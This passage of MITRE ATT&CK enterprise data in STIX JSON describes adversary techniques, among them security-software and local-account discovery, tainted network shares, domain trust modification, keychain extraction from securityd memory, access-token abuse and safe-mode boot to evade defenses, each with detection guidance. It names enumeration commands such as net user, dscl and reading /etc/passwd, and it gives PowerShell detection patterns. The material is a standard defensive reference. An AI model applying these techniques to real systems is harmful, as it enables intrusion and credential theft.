attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", "x_mitre_version": "2.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26", "type": "attack-pattern", "created": "2020-10-02T16:40:47.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1592.001", "url": "https://attack.mitre.org/techniques/T1592/001"}, {"source_name": "ATT ScanBox", "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}], "modified": "2021-10-17T16:32:10.810Z", "name": "Hardware", "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content"]}, {"modified": "2023-05-31T12:33:20.915Z", "name": "Taint Shared Content", "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Michal Dida, ESET", "David Routin"], "x_mitre_deprecated": false, "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Office 365", "SaaS", "Linux", "macOS"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Network Share: Network Share Access", "Process: Process Creation", "File: File Modification", "File: File Creation"], "x_mitre_system_requirements": ["Access to shared folders and content with write permissions"], "type": "attack-pattern", "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", "created": "2017-05-31T21:31:01.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1080", "external_id": "T1080"}, {"source_name": "Retwin Directory Share Pivot", "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.", "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T04:27:51.388Z", "name": "Trust Modification", "description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Blake Strom, Microsoft 365 Defender", "Praetorian", "Obsidian Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\"</code>, or <code>Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Azure AD", "SaaS"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Command: Command Execution", "Application Log: Application Log Content", "Active Directory: Active Directory Object Modification", "Active Directory: Active Directory Object Creation"], "x_mitre_permissions_required": ["Administrator"], "type": "attack-pattern", "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", "created": "2020-12-28T21:59:02.181Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1484/002", "external_id": "T1484.002"}, {"source_name": "CISA SolarWinds Cloud Detection", "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a"}, {"source_name": "AADInternals zure AD Federated Domain", "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.", "url": "https://o365blog.com/post/federation-vulnerability/"}, {"source_name": "Microsoft - Azure AD Federation", "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"}, {"source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"}, {"source_name": "Microsoft - Update or Repair Federated domain", "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365"}, {"source_name": "Okta Cross-Tenant Impersonation 2023", "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.", "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"}, {"source_name": "Sygnia Golden SAML", "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", "url": "https://www.sygnia.co/golden-saml-advisory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-26T20:58:19.356Z", "name": "Symmetric Cryptography", "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_deprecated": false, "x_mitre_detection": "With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "Windows", "macOS", "Network"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "created": "2020-03-16T15:45:17.032Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1573/001", "external_id": "T1573.001"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-11T23:47:44.655Z", "name": "Local Account", "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate local accounts.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Daniel Stepanic, Elastic", "Miriam Wiesner, @miriamxyra, Microsoft Security"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Process: OS API Execution", "Group: Group Enumeration", "Process: Process Creation", "Command: Command Execution", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "created": "2020-02-21T21:07:55.393Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1087/001", "external_id": "T1087.001"}, {"source_name": "id man page", "description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.", "url": "https://linux.die.net/man/1/id"}, {"source_name": "groups man page", "description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.", "url": "https://linux.die.net/man/1/groups"}, {"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}, {"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1167", "url": "https://attack.mitre.org/techniques/T1167"}, {"url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.", "source_name": "OS X Keychain"}, {"url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", "source_name": "External to DA, the OS X Way"}, {"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "source_name": "OSX Keydnap malware"}], "modified": "2020-02-12T18:56:59.153Z", "name": "Securityd Memory", "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["root"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", "type": "attack-pattern", "created": "2020-10-01T01:18:35.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1586.001", "url": "https://attack.mitre.org/techniques/T1586/001"}, {"source_name": "AnonHBGary", "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"}, {"source_name": "NEWSCASTER2014", "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"}, {"source_name": "BlackHatRobinSage", "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}], "modified": "2021-10-16T17:15:12.169Z", "name": "Social Media Accounts", "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Persona: Social Media", "Network Traffic: Network Traffic Content"]}, {"modified": "2023-11-02T15:39:10.534Z", "name": "Application Access Token", "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Mark Wee", "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", "Shailesh Tiwary (Indian Army)", "Jack Burns, HubSpot"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["SaaS", "Office 365"], "x_mitre_version": "1.1", "x_mitre_defense_bypassed": ["Multi-Factor Authentication", "Logon Credentials"], "type": "attack-pattern", "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a", "created": "2019-08-30T12:55:58.607Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1527", "external_id": "T1527"}, {"source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019", "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.", "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"}, {"source_name": "Microsoft Identity Platform Access 2019", "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"}, {"source_name": "okta", "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.", "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"}, {"source_name": "Staaldraad Phishing with OAuth 2017", "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.", "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jorell Magtibay, National Australia Bank Limited", "Kiyohito Yamamoto, RedLark, NTT Communications", "Yusuke Kubo, RedLark, NTT Communications"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "type": "attack-pattern", "created": "2021-06-23T20:00:27.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1562.009", "url": "https://attack.mitre.org/techniques/T1562/009"}, {"source_name": "Microsoft Safe Mode", "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234", "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021."}, {"source_name": "Sophos Snatch Ransomware 2019", "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021."}, {"source_name": "Microsoft bcdedit 2021", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit", "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021."}, {"source_name": "CyberArk Labs Safe Mode 2016", "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise", "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."}, {"source_name": "Cybereason Nocturnus MedusaLocker 2020", "url": "https://www.cybereason.com/blog/medusalocker-ransomware", "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021."}, {"source_name": "BleepingComputer REvil 2021", "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021."}, {"source_name": "Microsoft Bootcfg", "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg", "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021."}], "modified": "2021-08-31T14:51:47.352Z", "name": "Safe Mode Boot", "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)", "kill_chain_phases": [{"kill_chain_name": 